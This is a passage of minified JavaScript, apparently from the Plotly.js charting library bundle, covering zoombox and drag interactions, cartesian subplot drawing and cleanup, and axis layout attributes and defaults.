we.range=[we.l2r(we._rl[0]-le/we._m),we.l2r(we._rl[1]-le/we._m)]}}function G(re){return 1-(re>=0?Math.min(re,.9):1/(1/Math.max(re,-.3)+3.222))}function J(re,le,pe){return re?re==="nsew"?pe?"":le==="pan"?"move":"crosshair":re.toLowerCase()+"-resize":"pointer"}function q(re,le,pe,we,xe){return re.append("path").attr("class","zoombox").style({fill:le>.2?"rgba(0,0,0,0)":"rgba(255,255,255,0)","stroke-width":0}).attr("transform",g(pe,we)).attr("d",xe+"Z")}function ne(re,le,pe){return re.append("path").attr("class","zoombox-corners").style({fill:r.background,stroke:r.defaultLine,"stroke-width":1,opacity:0}).attr("transform",g(le,pe)).attr("d","M0,0Z")}function fe(re,le,pe,we,xe,ke){re.attr("d",we+"M"+pe.l+","+pe.t+"v"+pe.h+"h"+pe.w+"v-"+pe.h+"h-"+pe.w+"Z"),X(re,le,xe,ke)}function X(re,le,pe,we){pe||(re.transition().style("fill",we>.2?"rgba(0,0,0,0.4)":"rgba(255,255,255,0.3)").duration(200),le.transition().style("opacity",1).duration(200))}function W(re){M.select(re).selectAll(".zoombox,.js-zoombox-backdrop,.js-zoombox-menu,.zoombox-corners").remove()}function V(re){I&&re.data&&re._context.showTips&&(P.notifier(P._(re,"Double-click to zoom back out"),"long"),I=!1)}function Y(re,le){return"M"+(re.l-.5)+","+(le-x-.5)+"h-3v"+(2*x+1)+"h3ZM"+(re.r+.5)+","+(le-x-.5)+"h3v"+(2*x+1)+"h-3Z"}function Q(re,le){return"M"+(le-x-.5)+","+(re.t-.5)+"v-3h"+(2*x+1)+"v3ZM"+(le-x-.5)+","+(re.b+.5)+"v3h"+(2*x+1)+"v-3Z"}function ie(re){var le=Math.floor(Math.min(re.b-re.t,re.r-re.l,x)/2);return"M"+(re.l-3.5)+","+(re.t-.5+le)+"h3v"+-le+"h"+le+"v-3h-"+(le+3)+"ZM"+(re.r+3.5)+","+(re.t-.5+le)+"h-3v"+-le+"h"+-le+"v-3h"+(le+3)+"ZM"+(re.r+3.5)+","+(re.b+.5-le)+"h-3v"+le+"h"+-le+"v3h"+(le+3)+"ZM"+(re.l-3.5)+","+(re.b+.5-le)+"h3v"+le+"h"+le+"v3h-"+(le+3)+"Z"}function j(re,le,pe,we,xe){for(var ke=!1,_e={},be={},ge,Te,Fe,Oe,Ce=(xe||{}).xaHash,Be=(xe||{}).yaHash,$e=0;$e<le.length;$e++){var Xe=le[$e];for(ge in pe)if(Xe[ge]){for(Fe in Xe)!(xe&&(Ce[Fe]||Be[Fe]))&&!(Fe.charAt(0)==="x"?pe:we)[Fe]&&(_e[Fe]=ge);for(Te in we)!(xe&&(Ce[Te]||Be[Te]))&&Xe[Te]&&(ke=!0)}for(Te in we)if(Xe[Te])for(Oe in Xe)!(xe&&(Ce[Oe]||Be[Oe]))&&!(Oe.charAt(0)==="x"?pe:we)[Oe]&&(be[Oe]=Te)}ke&&(P.extendFlat(_e,be),be={});var Ze={},Ke=[];for(Fe in _e){var st=w(re,Fe);Ke.push(st),Ze[st._id]=st}var lt={},ut=[];for(Oe in be){var yt=w(re,Oe);ut.push(yt),lt[yt._id]=yt}return{xaHash:Ze,yaHash:lt,xaxes:Ke,yaxes:ut,xLinks:_e,yLinks:be,isSubplotConstrained:ke}}function K(re,le){if(!S)re.onwheel!==void 0?re.onwheel=le:re.onmousewheel!==void 0?re.onmousewheel=le:re.isAddedWheelEvent||(re.isAddedWheelEvent=!0,re.addEventListener("wheel",le,{passive:!1}));else{var pe=re.onwheel!==void 0?"wheel":"mousewheel";re._onwheel&&re.removeEventListener(pe,re._onwheel),re._onwheel=le,re.addEventListener(pe,le,{passive:!1})}}function oe(re){var le=[];for(var pe in re)le.push(re[pe]);return le}te.exports={makeDragBox:k,makeDragger:B,makeRectDragger:_,makeZoombox:q,makeCorners:ne,updateZoombox:fe,xyCorners:ie,transitionZoombox:X,removeZoombox:W,showDoubleClickNotifier:V,attachWheelEventHandler:K}},4305:function(te,Z,e){var M=e(39898),P=e(30211),o=e(28569),L=e(6964),S=e(29323).makeDragBox,d=e(85555).DRAGGERSIZE;Z.initInteractions=function(t){var r=t._fullLayout;if(t._context.staticPlot){M.select(t).selectAll(".drag").remove();return}if(!(!r._has("cartesian")&&!r._has("splom"))){var f=Object.keys(r._plots||{}).sort(function(l,u){if((r._plots[l].mainplot&&!0)===(r._plots[u].mainplot&&!0)){var s=l.split("y"),y=u.split("y");return s[0]===y[0]?Number(s[1]||1)-Number(y[1]||1):Number(s[0]||1)-Number(y[0]||1)}return r._plots[l].mainplot?1:-1});f.forEach(function(l){var u=r._plots[l],s=u.xaxis,y=u.yaxis;if(!u.mainplot){var c=S(t,u,s._offset,y._offset,s._length,y._length,"ns","ew");c.onmousemove=function(i){t._fullLayout._rehover=function(){t._fullLayout._hoversubplot===l&&t._fullLayout._plots[l]&&P.hover(t,i,l)},P.hover(t,i,l),t._fullLayout._lasthover=c,t._fullLayout._hoversubplot=l},c.onmouseout=function(i){t._dragging||(t._fullLayout._hoversubplot=null,o.unhover(t,i))},t._context.showAxisDragHandles&&(S(t,u,s._offset-d,y._offset-d,d,d,"n","w"),S(t,u,s._offset+s._length,y._offset-d,d,d,"n","e"),S(t,u,s._offset-d,y._offset+y._length,d,d,"s","w"),S(t,u,s._offset+s._length,y._offset+y._length,d,d,"s","e"))}if(t._context.showAxisDragHandles){if(l===s._mainSubplot){var b=s._mainLinePosition;s.side==="top"&&(b-=d),S(t,u,s._offset+s._length*.1,b,s._length*.8,d,"","ew"),S(t,u,s._offset,b,s._length*.1,d,"","w"),S(t,u,s._offset+s._length*.9,b,s._length*.1,d,"","e")}if(l===y._mainSubplot){var h=y._mainLinePosition;y.side!=="right"&&(h-=d),S(t,u,h,y._offset+y._length*.1,d,y._length*.8,"ns",""),S(t,u,h,y._offset+y._length*.9,d,y._length*.1,"s",""),S(t,u,h,y._offset,d,y._length*.1,"n","")}}});var a=r._hoverlayer.node();a.onmousemove=function(l){l.target=t._fullLayout._lasthover,P.hover(t,l,r._hoversubplot)},a.onclick=function(l){l.target=t._fullLayout._lasthover,P.click(t,l)},a.onmousedown=function(l){t._fullLayout._lasthover.onmousedown(l)},Z.updateFx(t)}},Z.updateFx=function(g){var t=g._fullLayout,r=t.dragmode==="pan"?"move":"crosshair";L(t._draggers,r)}},76325:function(te,Z,e){var M=e(73972),P=e(71828),o=e(41675);te.exports=function(S){return function(g,t){var r=g[S];if(Array.isArray(r))for(var f=M.subplotsRegistry.cartesian,a=f.idRegex,l=t._subplots,u=l.xaxis,s=l.yaxis,y=l.cartesian,c=t._has("cartesian")||t._has("gl2d"),b=0;b<r.length;b++){var h=r[b];if(P.isPlainObject(h)){var i=o.cleanId(h.xref,"x",!1),v=o.cleanId(h.yref,"y",!1),T=a.x.test(i),w=a.y.test(v);if(T||w){c||P.pushUnique(t._basePlotModules,f);var E=!1;T&&u.indexOf(i)===-1&&(u.push(i),E=!0),w&&s.indexOf(v)===-1&&(s.push(v),E=!0),E&&T&&w&&y.push(i+v)}}}}}},93612:function(te,Z,e){var M=e(39898),P=e(73972),o=e(71828),L=e(74875),S=e(91424),d=e(27659).a0,g=e(41675),t=e(85555),r=e(77922),f=o.ensureSingle;function a(b,h,i){return o.ensureSingle(b,h,i,function(v){v.datum(i)})}Z.name="cartesian",Z.attr=["xaxis","yaxis"],Z.idRoot=["x","y"],Z.idRegex=t.idRegex,Z.attrRegex=t.attrRegex,Z.attributes=e(89502),Z.layoutAttributes=e(13838),Z.supplyLayoutDefaults=e(86763),Z.transitionAxes=e(66847),Z.finalizeSubplots=function(b,h){var i=h._subplots,v=i.xaxis,T=i.yaxis,w=i.cartesian,E=w.concat(i.gl2d||[]),p={},A={},m,n,C;for(m=0;m<E.length;m++){var x=E[m].split("y");p[x[0]]=1,A["y"+x[1]]=1}for(m=0;m<v.length;m++)n=v[m],p[n]||(C=(b[g.id2name(n)]||{}).anchor,t.idRegex.y.test(C)||(C="y"),w.push(n+C),E.push(n+C),A[C]||(A[C]=1,o.pushUnique(T,C)));for(m=0;m<T.length;m++)C=T[m],A[C]||(n=(b[g.id2name(C)]||{}).anchor,t.idRegex.x.test(n)||(n="x"),w.push(n+C),E.push(n+C),p[n]||(p[n]=1,o.pushUnique(v,n)));if(!E.length){n="",C="";for(var I in b)if(t.attrRegex.test(I)){var k=I.charAt(0);k==="x"?(!n||+I.substr(5)<+n.substr(5))&&(n=I):(!C||+I.substr(5)<+C.substr(5))&&(C=I)}n=n?g.name2id(n):"x",C=C?g.name2id(C):"y",v.push(n),T.push(C),w.push(n+C)}},Z.plot=function(b,h,i,v){var T=b._fullLayout,w=T._subplots.cartesian,E=b.calcdata,p;if(!Array.isArray(h))for(h=[],p=0;p<E.length;p++)h.push(p);for(p=0;p<w.length;p++){for(var A=w[p],m=T._plots[A],n=[],C,x=0;x<E.length;x++){var I=E[x],k=I[0].trace;k.xaxis+k.yaxis===A&&((h.indexOf(k.index)!==-1||k.carpet)&&(C&&C[0].trace.xaxis+C[0].trace.yaxis===A&&["tonextx","tonexty","tonext"].indexOf(k.fill)!==-1&&n.indexOf(C)===-1&&n.push(C),n.push(I)),C=I)}l(b,m,n,i,v)}};function l(b,h,i,v,T){for(var w=t.traceLayerClasses,E=b._fullLayout,p=E._modules,A,m,n,C=[],x=[],I=0;I<p.length;I++){A=p[I];var k=A.name,B=P.modules[k].categories;if(B.svg){var _=A.layerName||k+"layer",F=A.plot;m=d(i,F),n=m[0],i=m[1],n.length&&C.push({i:w.indexOf(_),className:_,plotMethod:F,cdModule:n}),B.zoomScale&&x.push("."+_)}}C.sort(function(N,G){return N.i-G.i});var O=h.plot.selectAll("g.mlayer").data(C,function(N){return N.className});if(O.enter().append("g").attr("class",function(N){return N.className}).classed("mlayer",!0).classed("rangeplot",h.isRangePlot),O.exit().remove(),O.order(),O.each(function(N){var G=M.select(this),J=N.className;N.plotMethod(b,h,N.cdModule,G,v,T),t.clipOnAxisFalseQuery.indexOf("."+J)===-1&&S.setClipUrl(G,h.layerClipId,b)}),E._has("scattergl")&&(A=P.getModule("scattergl"),n=d(i,A)[0],A.plot(b,h,n)),!b._context.staticPlot&&(h._hasClipOnAxisFalse&&(h.clipOnAxisFalseTraces=h.plot.selectAll(t.clipOnAxisFalseQuery.join(",")).selectAll(".trace")),x.length)){var z=h.plot.selectAll(x.join(",")).selectAll(".trace");h.zoomScalePts=z.selectAll("path.point"),h.zoomScaleTxt=z.selectAll(".textpoint")}}Z.clean=function(b,h,i,v){var T=v._plots||{},w=h._plots||{},E=v._subplots||{},p,A,m;if(v._hasOnlyLargeSploms&&!h._hasOnlyLargeSploms)for(m in T)p=T[m],p.plotgroup&&p.plotgroup.remove();var n=v._has&&v._has("gl"),C=h._has&&h._has("gl");if(n&&!C)for(m in T)p=T[m],p._scene&&p._scene.destroy();if(E.xaxis&&E.yaxis){var x=g.listIds({_fullLayout:v});for(A=0;A<x.length;A++){var I=x[A];h[g.id2name(I)]||v._infolayer.selectAll(".g-"+I+"title").remove()}}var k=v._has&&v._has("cartesian"),B=h._has&&h._has("cartesian");if(k&&!B)y(v._cartesianlayer.selectAll(".subplot"),v),v._defs.selectAll(".axesclip").remove(),delete v._axisConstraintGroups,delete v._axisMatchGroups;else if(E.cartesian)for(A=0;A<E.cartesian.length;A++){var _=E.cartesian[A];if(!w[_]){var F="."+_+",."+_+"-x,."+_+"-y";v._cartesianlayer.selectAll(F).remove(),c(_,v)}}},Z.drawFramework=function(b){var h=b._fullLayout,i=u(b),v=h._cartesianlayer.selectAll(".subplot").data(i,String);v.enter().append("g").attr("class",function(T){return"subplot "+T[0]}),v.order(),v.exit().call(y,h),v.each(function(T){var w=T[0],E=h._plots[w];E.plotgroup=M.select(this),s(b,E),E.draglayer=f(h._draggers,"g",w)})},Z.rangePlot=function(b,h,i){s(b,h),l(b,h,i),L.style(b)};function u(b){var h=b._fullLayout,i=h._subplots.cartesian,v=i.length,T,w,E,p,A,m,n=[],C=[];for(T=0;T<v;T++){E=i[T],p=h._plots[E],A=p.xaxis,m=p.yaxis;var x=A._mainAxis,I=m._mainAxis,k=x._id+I._id,B=h._plots[k];p.overlays=[],k!==E&&B?(p.mainplot=k,p.mainplotinfo=B,C.push(E)):(p.mainplot=void 0,p.mainplotinfo=void 0,n.push(E))}for(T=0;T<C.length;T++)E=C[T],p=h._plots[E],p.mainplotinfo.overlays.push(p);var _=n.concat(C),F=new Array(v);for(T=0;T<v;T++){E=_[T],p=h._plots[E],A=p.xaxis,m=p.yaxis;var O=[E,A.layer,m.layer,A.overlaying||"",m.overlaying||""];for(w=0;w<p.overlays.length;w++)O.push(p.overlays[w].id);F[T]=O}return F}function s(b,h){var i=h.plotgroup,v=h.id,T=t.layerValue2layerClass[h.xaxis.layer],w=t.layerValue2layerClass[h.yaxis.layer],E=b._fullLayout._hasOnlyLargeSploms;if(h.mainplot){var A=h.mainplotinfo,m=A.plotgroup,n=v+"-x",C=v+"-y";h.minorGridlayer=A.minorGridlayer,h.gridlayer=A.gridlayer,h.zerolinelayer=A.zerolinelayer,f(A.overlinesBelow,"path",n),f(A.overlinesBelow,"path",C),f(A.overaxesBelow,"g",n),f(A.overaxesBelow,"g",C),h.plot=f(A.overplot,"g",v),f(A.overlinesAbove,"path",n),f(A.overlinesAbove,"path",C),f(A.overaxesAbove,"g",n),f(A.overaxesAbove,"g",C),h.xlines=m.select(".overlines-"+T).select("."+n),h.ylines=m.select(".overlines-"+w).select("."+C),h.xaxislayer=m.select(".overaxes-"+T).select("."+n),h.yaxislayer=m.select(".overaxes-"+w).select("."+C)}else if(E)h.xlines=f(i,"path","xlines-above"),h.ylines=f(i,"path","ylines-above"),h.xaxislayer=f(i,"g","xaxislayer-above"),h.yaxislayer=f(i,"g","yaxislayer-above");else{var p=f(i,"g","layer-subplot");h.shapelayer=f(p,"g","shapelayer"),h.imagelayer=f(p,"g","imagelayer"),h.minorGridlayer=f(i,"g","minor-gridlayer"),h.gridlayer=f(i,"g","gridlayer"),h.zerolinelayer=f(i,"g","zerolinelayer"),f(i,"path","xlines-below"),f(i,"path","ylines-below"),h.overlinesBelow=f(i,"g","overlines-below"),f(i,"g","xaxislayer-below"),f(i,"g","yaxislayer-below"),h.overaxesBelow=f(i,"g","overaxes-below"),h.plot=f(i,"g","plot"),h.overplot=f(i,"g","overplot"),h.xlines=f(i,"path","xlines-above"),h.ylines=f(i,"path","ylines-above"),h.overlinesAbove=f(i,"g","overlines-above"),f(i,"g","xaxislayer-above"),f(i,"g","yaxislayer-above"),h.overaxesAbove=f(i,"g","overaxes-above"),h.xlines=i.select(".xlines-"+T),h.ylines=i.select(".ylines-"+w),h.xaxislayer=i.select(".xaxislayer-"+T),h.yaxislayer=i.select(".yaxislayer-"+w)}E||(a(h.minorGridlayer,"g",h.xaxis._id),a(h.minorGridlayer,"g",h.yaxis._id),h.minorGridlayer.selectAll("g").map(function(x){return x[0]}).sort(g.idSort),a(h.gridlayer,"g",h.xaxis._id),a(h.gridlayer,"g",h.yaxis._id),h.gridlayer.selectAll("g").map(function(x){return x[0]}).sort(g.idSort)),h.xlines.style("fill","none").classed("crisp",!0),h.ylines.style("fill","none").classed("crisp",!0)}function y(b,h){if(b){var i={};b.each(function(A){var m=A[0],n=M.select(this);n.remove(),c(m,h),i[m]=!0});for(var v in h._plots)for(var T=h._plots[v],w=T.overlays||[],E=0;E<w.length;E++){var p=w[E];i[p.id]&&p.plot.selectAll(".trace").remove()}}}function c(b,h){h._draggers.selectAll("g."+b).remove(),h._defs.select("#clip"+h._uid+b+"plot").remove()}Z.toSVG=function(b){var h=b._fullLayout._glimages,i=M.select(b).selectAll(".svg-container"),v=i.filter(function(w,E){return E===i.size()-1}).selectAll(".gl-canvas-context, .gl-canvas-focus");function T(){var w=this,E=w.toDataURL("image/png"),p=h.append("svg:image");p.attr({xmlns:r.svg,"xlink:href":E,preserveAspectRatio:"none",x:0,y:0,width:w.style.width,height:w.style.height})}v.each(T)},Z.updateFx=e(4305).updateFx},13838:function(te,Z,e){var M=e(41940),P=e(22399),o=e(79952).P,L=e(1426).extendFlat,S=e(44467).templatedArray,d=e(12663).descriptionWithDates,g=e(50606).ONEDAY,t=e(85555),r=t.HOUR_PATTERN,f=t.WEEKDAY_PATTERN,a={valType:"enumerated",values:["auto","linear","array"],editType:"ticks",impliedEdits:{tick0:void 0,dtick:void 0}},l=L({},a,{values:a.values.slice().concat(["sync"])});function u(A){return{valType:"integer",min:0,dflt:A?5:0,editType:"ticks"}}var s={valType:"any",editType:"ticks",impliedEdits:{tickmode:"linear"}},y={valType:"any",editType:"ticks",impliedEdits:{tickmode:"linear"}},c={valType:"data_array",editType:"ticks"},b={valType:"enumerated",values:["outside","inside",""],editType:"ticks"};function h(A){var m={valType:"number",min:0,editType:"ticks"};return A||(m.dflt=5),m}function i(A){var m={valType:"number",min:0,editType:"ticks"};return A||(m.dflt=1),m}var v={valType:"color",dflt:P.defaultLine,editType:"ticks"},T={valType:"color",dflt:P.lightLine,editType:"ticks"};function w(A){var m={valType:"number",min:0,editType:"ticks"};return A||(m.dflt=1),m}var E=L({},o,{editType:"ticks"}),p={valType:"boolean",editType:"ticks"};te.exports={visible:{valType:"boolean",editType:"plot"},color:{valType:"color",dflt:P.defaultLine,editType:"ticks"},title:{text:{valType:"string",editType:"ticks"},font:M({editType:"ticks"}),standoff:{valType:"number",min:0,editType:"ticks"},editType:"ticks"},type:{valType:"enumerated",values:["-","linear","log","date","category","multicategory"],dflt:"-",editType:"calc",_noTemplating:!0},autotypenumbers:{valType:"enumerated",values:["convert types","strict"],dflt:"convert types",editType:"calc"},autorange:{valType:"enumerated",values:[!0,!1,"reversed"],dflt:!0,editType:"axrange",impliedEdits:{"range[0]":void 0,"range[1]":void 0}},rangemode:{valType:"enumerated",values:["normal","tozero","nonnegative"],dflt:"normal",editType:"plot"},range:{valType:"info_array",items:[{valType:"any",editType:"axrange",impliedEdits:{"^autorange":!1},anim:!0},{valType:"any",editType:"axrange",impliedEdits:{"^autorange":!1},anim:!0}],editType:"axrange",impliedEdits:{autorange:!1},anim:!0},fixedrange:{valType:"boolean",dflt:!1,editType:"calc"},scaleanchor:{valType:"enumerated",values:[t.idRegex.x.toString(),t.idRegex.y.toString()],editType:"plot"},scaleratio:{valType:"number",min:0,dflt:1,editType:"plot"},constrain:{valType:"enumerated",values:["range","domain"],editType:"plot"},constraintoward:{valType:"enumerated",values:["left","center","right","top","middle","bottom"],editType:"plot"},matches:{valType:"enumerated",values:[t.idRegex.x.toString(),t.idRegex.y.toString()],editType:"calc"},rangebreaks:S("rangebreak",{enabled:{valType:"boolean",dflt:!0,editType:"calc"},bounds:{valType:"info_array",items:[{valType:"any",editType:"calc"},{valType:"any",editType:"calc"}],editType:"calc"},pattern:{valType:"enumerated",values:[f,r,""],editType:"calc"},values:{valType:"info_array",freeLength:!0,editType:"calc",items:{valType:"any",editType:"calc"}},dvalue:{valType:"number",editType:"calc",min:0,dflt:g},editType:"calc"}),tickmode:l,nticks:u(),tick0:s,dtick:y,ticklabelstep:{valType:"integer",min:1,dflt:1,editType:"ticks"},tickvals:c,ticktext:{valType:"data_array",editType:"ticks"},ticks:b,tickson:{valType:"enumerated",values:["labels","boundaries"],dflt:"labels",editType:"ticks"},ticklabelmode:{valType:"enumerated",values:["instant","period"],dflt:"instant",editType:"ticks"},ticklabelposition:{valType:"enumerated",values:["outside","inside","outside top","inside top","outside left","inside left","outside right","inside right","outside bottom","inside bottom"],dflt:"outside",editType:"calc"},ticklabeloverflow:{valType:"enumerated",values:["allow","hide past div","hide past domain"],editType:"calc"},mirror:{valType:"enumerated",values:[!0,"ticks",!1,"all","allticks"],dflt:!1,editType:"ticks+layoutstyle"},ticklen:h(),tickwidth:i(),tickcolor:v,showticklabels:{valType:"boolean",dflt:!0,editType:"ticks"},labelalias:{valType:"any",dflt:!1,editType:"ticks"},automargin:{valType:"flaglist",flags:["height","width","left","right","top","bottom"],extras:[!0,!1],dflt:!1,editType:"ticks"},showspikes:{valType:"boolean",dflt:!1,editType:"modebar"},spikecolor:{valType:"color",dflt:null,editType:"none"},spikethickness:{valType:"number",dflt:3,editType:"none"},spikedash:L({},o,{dflt:"dash",editType:"none"}),spikemode:{valType:"flaglist",flags:["toaxis","across","marker"],dflt:"toaxis",editType:"none"},spikesnap:{valType:"enumerated",values:["data","cursor","hovered data"],dflt:"hovered data",editType:"none"},tickfont:M({editType:"ticks"}),tickangle:{valType:"angle",dflt:"auto",editType:"ticks"},tickprefix:{valType:"string",dflt:"",editType:"ticks"},showtickprefix:{valType:"enumerated",values:["all","first","last","none"],dflt:"all",editType:"ticks"},ticksuffix:{valType:"string",dflt:"",editType:"ticks"},showticksuffix:{valType:"enumerated",values:["all","first","last","none"],dflt:"all",editType:"ticks"},showexponent:{valType:"enumerated",values:["all","first","last","none"],dflt:"all",editType:"ticks"},exponentformat:{valType:"enumerated",values:["none","e","E","power","SI","B"],dflt:"B",editType:"ticks"},minexponent:{valType:"number",dflt:3,min:0,editType:"ticks"},separatethousands:{valType:"boolean",dflt:!1,editType:"ticks"},tickformat:{valType:"string",dflt:"",editType:"ticks",description:d("tick label")},tickformatstops:S("tickformatstop",{enabled:{valType:"boolean",dflt:!0,editType:"ticks"},dtickrange:{valType:"info_array",items:[{valType:"any",editType:"ticks"},{valType:"any",editType:"ticks"}],editType:"ticks"},value:{valType:"string",dflt:"",editType:"ticks"},editType:"ticks"}),hoverformat:{valType:"string",dflt:"",editType:"none",description:d("hover text")},showline:{valType:"boolean",dflt:!1,editType:"ticks+layoutstyle"},linecolor:{valType:"color",dflt:P.defaultLine,editType:"layoutstyle"},linewidth:{valType:"number",min:0,dflt:1,editType:"ticks+layoutstyle"},showgrid:p,gridcolor:T,gridwidth:w(),griddash:E,zeroline:{valType:"boolean",editType:"ticks"},zerolinecolor:{valType:"color",dflt:P.defaultLine,editType:"ticks"},zerolinewidth:{valType:"number",dflt:1,editType:"ticks"},showdividers:{valType:"boolean",dflt:!0,editType:"ticks"},dividercolor:{valType:"color",dflt:P.defaultLine,editType:"ticks"},dividerwidth:{valType:"number",dflt:1,editType:"ticks"},anchor:{valType:"enumerated",values:["free",t.idRegex.x.toString(),t.idRegex.y.toString()],editType:"plot"},side:{valType:"enumerated",values:["top","bottom","left","right"],editType:"plot"},overlaying:{valType:"enumerated",values:["free",t.idRegex.x.toString(),t.idRegex.y.toString()],editType:"plot"},minor:{tickmode:a,nticks:u("minor"),tick0:s,dtick:y,tickvals:c,ticks:b,ticklen:h("minor"),tickwidth:i("minor"),tickcolor:v,gridcolor:T,gridwidth:w("minor"),griddash:E,showgrid:p,editType:"ticks"},layer:{valType:"enumerated",values:["above traces","below traces"],dflt:"above traces",editType:"plot"},domain:{valType:"info_array",items:[{valType:"number",min:0,max:1,editType:"plot"},{valType:"number",min:0,max:1,editType:"plot"}],dflt:[0,1],editType:"plot"},position:{valType:"number",min:0,max:1,dflt:0,editType:"plot"},autoshift:{valType:"boolean",dflt:!1,editType:"plot"},shift:{valType:"number",editType:"plot"},categoryorder:{valType:"enumerated",values:["trace","category ascending","category descending","array","total ascending","total descending","min ascending","min descending","max ascending","max descending","sum ascending","sum descending","mean ascending","mean descending","median ascending","median descending"],dflt:"trace",editType:"calc"},categoryarray:{valType:"data_array",editType:"calc"},uirevision:{valType:"any",editType:"none"},editType:"calc",_deprecated:{autotick:{valType:"boolean",editType:"ticks"},title:{valType:"string",editType:"ticks"},titlefont:M({editType:"ticks"})}}},86763:function(te,Z,e){var M=e(71828),P=e(7901),o=e(23469).isUnifiedHover,L=e(98212),S=e(44467),d=e(10820),g=e(13838),t=e(951),r=e(71453),f=e(99082),a=e(52830),l=e(41675),u=l.id2name,s=l.name2id,y=e(85555).AX_ID_PATTERN,c=e(73972),b=c.traceIs,h=c.getComponentMethod;function i(v,T,w){Array.isArray(v[T])?v[T].push(w):v[T]=[w]}te.exports=function(T,w,E){var p=w.autotypenumbers,A={},m={},n={},C={},x={},I={},k={},B={},_={},F={},O,z;for(O=0;O<E.length;O++){var N=E[O];if(!(!b(N,"cartesian")&&!b(N,"gl2d"))){var G;if(N.xaxis)G=u(N.xaxis),i(A,G,N);else if(N.xaxes)for(z=0;z<N.xaxes.length;z++)i(A,u(N.xaxes[z]),N);var J;if(N.yaxis)J=u(N.yaxis),i(A,J,N);else if(N.yaxes)for(z=0;z<N.yaxes.length;z++)i(A,u(N.yaxes[z]),N);if(N.type==="funnel"?N.orientation==="h"?(G&&(m[G]=!0),J&&(k[J]=!0)):J&&(n[J]=!0):N.type==="image"?(J&&(B[J]=!0),G&&(B[G]=!0)):(J&&(x[J]=!0,I[J]=!0),(!b(N,"carpet")||N.type==="carpet"&&!N._cheater)&&G&&(C[G]=!0)),N.type==="carpet"&&N._cheater&&G&&(m[G]=!0),b(N,"2dMap")&&(_[G]=!0,_[J]=!0),b(N,"oriented")){var q=N.orientation==="h"?J:G;F[q]=!0}}}var ne=w._subplots,fe=ne.xaxis,X=ne.yaxis,W=M.simpleMap(fe,u),V=M.simpleMap(X,u),Y=W.concat(V),Q=P.background;fe.length&&X.length&&(Q=M.coerce(T,w,d,"plot_bgcolor"));var ie=P.combine(Q,w.paper_bgcolor),j,K,oe,re,le;function pe(){var Me=A[j]||[];le._traceIndices=Me.map(function(Ie){return Ie._expandedIndex}),le._annIndices=[],le._shapeIndices=[],le._selectionIndices=[],le._imgIndices=[],le._subplotsWith=[],le._counterAxes=[],le._name=le._attr=j,le._id=K}function we(Me,Ie){return M.coerce(re,le,g,Me,Ie)}function xe(Me,Ie){return M.coerce2(re,le,g,Me,Ie)}function ke(Me){return Me==="x"?X:fe}function _e(Me,Ie){for(var Qe=Me==="x"?W:V,et=[],pt=0;pt<Qe.length;pt++){var St=Qe[pt];St!==Ie&&!(T[St]||{}).overlaying&&et.push(s(St))}return et}var be={x:ke("x"),y:ke("y")},ge=be.x.concat(be.y),Te={},Fe=[];function Oe(){var Me=re.matches;y.test(Me)&&ge.indexOf(Me)===-1&&(Te[Me]=re.type,Fe=Object.keys(Te))}var Ce=L(T,w),Be=o(Ce);for(O=0;O<Y.length;O++){j=Y[O],K=s(j),oe=j.charAt(0),M.isPlainObject(T[j])||(T[j]={}),re=T[j],le=S.newContainer(w,j,oe+"axis"),pe();var $e=oe==="x"&&!C[j]&&m[j]||oe==="y"&&!x[j]&&n[j],Xe=oe==="y"&&(!I[j]&&k[j]||B[j]),Ze={hasMinor:!0,letter:oe,font:w.font,outerTicks:_[j],showGrid:!F[j],data:A[j]||[],bgColor:ie,calendar:w.calendar,automargin:!0,visibleDflt:$e,reverseDflt:Xe,autotypenumbersDflt:p,splomStash:((w._splomAxes||{})[oe]||{})[K]};we("uirevision",w.uirevision),t(re,le,we,Ze),r(re,le,we,Ze,w);var Ke=Be&&oe===Ce.charAt(0),st=xe("spikecolor",Be?le.color:void 0),lt=xe("spikethickness",Be?1.5:void 0),ut=xe("spikedash",Be?"dot":void 0),yt=xe("spikemode",Be?"across":void 0),bt=xe("spikesnap"),Ot=we("showspikes",!!Ke||!!st||!!lt||!!ut||!!yt||!!bt);Ot||(delete le.spikecolor,delete le.spikethickness,delete le.spikedash,delete le.spikemode,delete le.spikesnap);var Ge=u(re.overlaying),Le=[0,1];if(w[Ge]!==void 0){var Pe=u(w[Ge].anchor);w[Pe]!==void 0&&(Le=w[Pe].domain)}a(re,le,we,{letter:oe,counterAxes:be[oe],overlayableAxes:_e(oe,j),grid:w.grid,overlayingDomain:Le}),we("title.standoff"),Oe(),le._input=re}for(O=0;O<Fe.length;){K=Fe[O++],j=u(K),oe=j.charAt(0),M.isPlainObject(T[j])||(T[j]={}),re=T[j],le=S.newContainer(w,j,oe+"axis"),pe();var De={letter:oe,font:w.font,outerTicks:_[j],showGrid:!F[j],data:[],bgColor:ie,calendar:w.calendar,automargin:!0,visibleDflt:!1,reverseDflt:!1,autotypenumbersDflt:p,splomStash:((w._splomAxes||{})[oe]||{})[K]};we("uirevision",w.uirevision),le.type=Te[K]||"linear",r(re,le,we,De,w),a(re,le,we,{letter:oe,counterAxes:be[oe],overlayableAxes:_e(oe,j),grid:w.grid}),we("fixedrange"),Oe(),le._input=re}var Ee=h("rangeslider","handleDefaults"),ye=h("rangeselector","handleDefaults");for(O=0;O<W.length;O++)j=W[O],re=T[j],le=w[j],Ee(T,w,j),le.type==="date"&&ye(re,le,w,V,le.calendar),we("fixedrange");for(O=0;O<V.length;O++){j=V[O],re=T[j],le=w[j];var ae=w[u(le.anchor)],de=h("rangeslider","isVisible")(ae);we("fixedrange",de)}f.handleDefaults(T,w,{axIds:ge.concat(Fe).sort(l.idSort),axHasImage:B})}},92128:function(te,Z,e){var M=e(84267).mix,P=e(22399),o=e(71828);te.exports=function(S,d,g,t){t=t||{};var r=t.dfltColor;function f(n,C){return o.coerce2(S,d,t.attributes,n,C)}var a=f("linecolor",r),l=f("linewidth"),u=g("showline",t.showLine||!!a||!!l);u||(delete d.linecolor,delete d.linewidth);var s=M(r,t.bgColor,t.blend||P.lightFraction).toRgbString(),y=f("gridcolor",s),c=f("gridwidth"),b=f("griddash"),h=g("showgrid",t.showGrid||!!y||!!c||!!b);if(h||(delete d.gridcolor,delete d.gridwidth,delete d.griddash),t.hasMinor){var i=M(d.gridcolor,t.bgColor,67).toRgbString(),v=f("minor.gridcolor",i),T=f("minor.gridwidth",d.gridwidth||1),w=f("minor.griddash",d.griddash||"solid"),E=g("minor.showgrid",!!v||!!T||!!w);E||(delete d.minor.gridcolor,delete d.minor.gridwidth,delete d.minor.griddash)}if(!t.noZeroLine){var 